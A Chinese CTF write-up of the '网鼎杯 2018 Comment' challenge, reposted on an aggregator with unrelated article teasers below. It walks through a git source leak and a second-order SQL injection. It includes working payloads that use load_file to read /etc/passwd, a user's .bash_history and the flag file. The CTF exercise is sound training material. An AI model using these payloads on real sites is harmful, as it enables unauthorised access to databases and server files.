[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 bash_history文件查看

news2024/11/16 12:53:25

首先我们看到账号密码有提示了

我们bp爆破一下

我首先对数字爆破 因为全字符的话太多了

爆出来了哦

所以账号密码也出来了

zhangwei
zhangwei666

没有什么用啊

扫一下吧

有git

git泄露

那泄露看看

真有

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

原本的githack坏了

mirrors / BugScanTeam / GitHack · GitCode

重新下了一个 需要下载后 里面存在 .git文件夹

然后看上面的代码 根本没有看懂 感觉不是全部

git 恢复

所以我们可以使用git log --all看看

以前的情况

 我们直接回到最开始

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

全部代码就出来了

用了个switch 内容为go

addslashes  这里是 通过转义的方式 存入数据库 很容易造成二次注入

因为会把内容原封不动传入数据库 

如果读取 就会造成二次注入
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);

这里我们能发现 查询的内容 是 category


所以category 就是我们写入的内容的参数了

这里懂得差不多了

    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
主要是这里 设定了从数据库提取出来的值

    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);


这里我们就可以构造了

$category=0' content = database(),/*    后面的/*是用来和我们详情里面输入的content闭合

我们首先写入留言

0',content=database(),/*

然后进去提交留言

这个时候就会形成

   $sql = "insert into comment
            set category = '0',content = database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);


更直观点


   $sql = "insert into comment
            set category = '0',content = database(),/*',content = '*/#',
                bo_id = '$bo_id'";
 


/*',content = '*/#'


这里就为空了 所以现在的语句是

set category = '0',content = database(),
                bo_id = '$bo_id'";
 

然后我们进行查表 发现没有flag

于是我们可以看看user()函数

发现是root权限

那么多半就是 读取了

load_file可以读取

我们读取看看

这里又是另一个文件读取的方法了

之前做的题 proc这里没有用

任意文件读取

.bash_history      

我们首先去查看 etc/passwd

0',content=(select load_file('/etc/passwd')),/*

 

发现存在 www用户 我们去看看他的历史命令

0',content=(select load_file('/home/www/.bash_history')),/*

这里发现了 是删除了 .DS_Store

但是ctf环境一般都是docker环境 所以在

/tmp/html下还会存在

我们去读取

0',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*


这里需要通过十六进制输出 因为会有很多不可见的字符

 .DS_Store泄露

我们通过通过瑞士军刀可以 恢复成 文件形式 并且导出

然后通过 Python-dsstore-master

来实现解析读取文件

py3 .\main.py .\samples\download.dat

我们来解析读取这个flag

0',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*

 但是这个文件是错误的 flag为错误

可能修改了 所以我们回去 /var进行读取

0',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
flag{5737c889-1e5b-47a6-b14d-87df5dd59e01}

知识点 过多了。。。。。

虽然都很基础 但是有的时候 真没想到 可以以后再做一次

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1075905.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JUC第二十一讲:JUC线程池:ScheduledThreadPoolExecutor详解

JUC线程池&#xff1a;ScheduledThreadPoolExecutor详解 本文是JUC第二十一讲&#xff0c;JUC线程池: ScheduledThreadPoolExecutor详解。在很多业务场景中&#xff0c;我们可能需要周期性的运行某项任务来获取结果&#xff0c;比如周期数据统计&#xff0c;定时发送数据等。在…

07_项目开发_用户信息列表

1 用户信息列表内容展示 用户信息列表&#xff0c;主要完成用户信息的添加、删除、修改和查找功能。 用户列表页面效果&#xff1a; 单击“添加用户”按钮&#xff0c;进入添加用户页面。 填写正确的信息后&#xff0c;单击“添加用户”按钮&#xff0c;会直接跳转到用户列表…

算法题:买卖股票的最佳时机 II (贪心算法解决股票问题)

这道题是贪心算法的中级难度练习题&#xff0c;由于题目设定&#xff0c;整个价格都是透明的&#xff0c;这里并不涉及需要预测股票涨势的问题。解决思路不难&#xff0c;就是一旦股票价格开始下降了就买入&#xff0c;一旦上升了&#xff0c;就赶紧卖出。&#xff08;完整题目…

算法题:盛最多水的容器(贪心算法双指针问题)

这个题目乍一看就是双指针&#xff0c;没想到官方解答也是双指针&#xff0c;我在官方的基础上优化了一下下&#xff0c;左右两边各一个指针&#xff0c;每次移动短的那一头的时候&#xff0c;不是移动一格&#xff0c;而是找到比短的那一头要长一点的&#xff0c;再进行比较。…

机器学习与模式识别作业----决策树属性划分计算

文章目录 1.决策树划分原理1.1.特征选择1--信息增益1.2.特征选择2--信息增益比1.3.特征选择3--基尼系数 2.决策树属性划分计算题2.1.信息增益计算2.2.1.属性1的信息增益计算2.2.2.属性2的信息增益计算2.2.3.属性信息增益比较 2.2.信息增益比计算2.3.基尼系数计算 1.决策树划分原…

小程序中使用echarts配置以及折线图案例(简单易懂)

第一步&#xff1a;引入echarts文件--此文件需要下载&#xff1a; 下载地址&#xff1a;点击此处进行下载echarts文件 点击Download ZIP下载压缩包&#xff0c;注意&#xff1a;此文件&#xff0c;我是从完整的文件中剥离出来的有用的&#xff0c;不会影响项目。 第二步&#…

# 解析Pikachu靶场:一个安全研究的练习场

引言 Pikachu靶场是一个非常流行的安全研究和渗透测试练习平台。这个环境包括多个安全漏洞&#xff0c;从基础的到高级的&#xff0c;供安全研究人员和渗透测试者进行实验和学习。在这篇博客中&#xff0c;我们将探讨Pikachu靶场的基本概念&#xff0c;功能&#xff0c;以及如…

vue3+vite+ts 组件中自动导入 ref 和 reactive

前言 在每个vue组件中&#xff0c;都去手动引入 ref 和 reactive 是非常繁琐的一件事&#xff0c;我们可以通过插件来完成自动导入 安装插件 npm i unplugin-auto-import -D 配置插件 在 vite.config.ts 中增加如下代码 import { defineConfig } from vite import vue fr…

初识操作系统以及Linux环境搭建

&#x1f4d9;作者简介&#xff1a; 清水加冰&#xff0c;目前大二在读&#xff0c;正在学习C/C、Python、操作系统、数据库等。 &#x1f4d8;相关专栏&#xff1a;C语言初阶、C语言进阶、C语言刷题训练营、数据结构刷题训练营、有感兴趣的可以看一看。 欢迎点赞 &#x1f44d…

大数据Splunk Enterprise 平台+cpolar 实现远程访问

文章目录 前言1. 搭建Splunk Enterprise2. windows 安装 cpolar3. 创建Splunk Enterprise公网访问地址4. 远程访问Splunk Enterprise服务5. 固定远程地址 前言 Splunk Enterprise是一个强大的机器数据管理平台&#xff0c;可帮助客户分析和搜索数据&#xff0c;以及可视化数据…

企架布道:中电金信应邀出席2023佛山敏捷之旅暨DevOps Meetup

近日&#xff0c;2023佛山敏捷之旅暨DevOps Meetup活动顺利举行&#xff0c;本次活动以助力大湾区金融和互联网企业敏捷DevOps实施和效能提升为主题&#xff0c;共设立 2个会场&#xff0c;16个话题分享&#xff0c;200余位金融、互联网企业相关从业人员齐聚一堂&#xff0c;共…

第二证券:市场情绪或逐步修复 十月行情值得期待

第二证券指出&#xff0c;周一A股商场探底回升、小幅轰动收拾&#xff0c;沪指全天底子出现先抑后扬的运转特征。其时上证综指与创业板指数的平均市盈率分别为12.46倍、33.94倍&#xff0c;处于近三年中位数以下水平&#xff0c;商场估值仍然处于较低区域&#xff0c;合适中长期…

excel单元格合并策略

excel单元格合并策略 证明112&#xff1f; 要证明112这个问题&#xff0c;首先我们要找到问题的关键。所谓问题的关键呢&#xff0c;就是关键的问题&#xff0c;那么如何找到问题的关键就是这个问题的关键。 比如说&#xff0c;你有一个苹果&#xff0c;我也有一个苹果&#x…

管理Linux的联网

1. RHEL9版本特点 在RHEL7版本中&#xff0c;同时支持network.service和NetworkManager.service&#xff08;简称NM&#xff09;。 在RHEL8上默认只能通过NM进行网络配置&#xff0c;包括动态ip和静态ip,若不开启NM&#xff0c;否则无法使用网络 RHEL8依然支持network.service&…

【工具软件】Nativefier——把网页打包成exe软件

官方文档 安装 npm install nativefier -g使用 在 nativefier 后加上需要转换的网站地址, 比如: nativefier "https://blog.csdn.net/IAIPython?typeblog"第一次打包需要下载 Eletron 框架, 很慢… 运行完毕, 会生成一个应用, 路径一般为C:\Users\用户名… 如图…

前后端分离项目-基于springboot+vue的图书馆管理系统的设计与实现(内含代码+文档+报告)

博主介绍&#xff1a;✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久&#xff0c;选择我们就是选择放心、选择安心毕业✌ &#x1f345;由于篇幅限制&#xff0c;想要获取完整文章或者源码&#xff0c;或者代做&am…

Servlet开发步骤

标准Java Web工程结构 pom.xml中提供servlet依赖 1.创建java类&#xff0c;继承HttpServlet 2.重写service方法&#xff0c;处理请求&#xff0c;生成响应 3.配置web.xml&#xff0c;绑定访问地址 Servlet接收请求参数 request.getParameter() 接收单个参数 request.ge…

区块链游戏的开发框架

链游&#xff08;Blockchain Games&#xff09;是基于区块链技术构建的游戏。它们与传统游戏有一些显著不同之处&#xff0c;因此需要特定的开发框架和工具。以下是一些用于链游开发的开发框架及其特点&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专…

一站式 API 管理和测试工具:PostCat 轻松完成接口调测 | 开源日报 No.49

rubickCenter/rubick Stars: 5.0k License: MIT Rubick 是一个基于 electron 开源工具箱的项目&#xff0c;它允许用户自由集成丰富插件来创建最终桌面效率工具。该项目以 Dota 英雄中的 Rubick 为名&#xff0c;因为他可以使用其他英雄作为插件完成任务。以下是 Rubick 的主要…

ant-design-vue 实现表格表头纵排列

结果如图&#xff1a; 区域&#xff0c;成功率&#xff0c;清单率为表头&#xff0c;右侧为动态的数据 废话不多说直接上代码&#xff1a; 1.先声明表格&#xff0c;使用框架自带a-table&#xff0c;核心点就在data和columns上 <div style"margin-bottom: 60px;"…